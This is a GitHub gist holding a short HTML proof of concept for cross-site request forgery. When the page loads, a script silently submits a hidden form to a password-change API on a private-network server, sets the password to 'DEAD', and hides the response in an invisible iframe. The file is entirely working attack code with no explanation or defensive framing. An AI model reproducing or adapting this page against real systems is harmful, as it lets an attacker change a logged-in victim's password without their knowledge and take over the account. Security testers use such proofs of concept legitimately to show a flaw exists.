Skip to content

Instantly share code, notes, and snippets.

@moonbingbing
Created April 12, 2013 06:19

Revisions

  1. @moonming moonming created this gist Apr 12, 2013.
    20 changes: 20 additions & 0 deletions csrf_post
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,20 @@
    <html>
    <head>
    <title>TEST</title>

    </head>


    <body onload="load()">
    <form action="http://172.22.54.92:9090/cloud/index.php?r=setting/api/ChangeUnstPwd" target="form_iframe" id="csrf" method="post">
    <input type="hidden" name="newPwd" value="DEAD" />
    </form>
    <iframe name="form_iframe" width="0" height="0" scrolling="no"> </iframe>

    <script type="text/javascript" language="javascript">
    document.getElementById('csrf').submit();
    </script>


    </body>
    </html>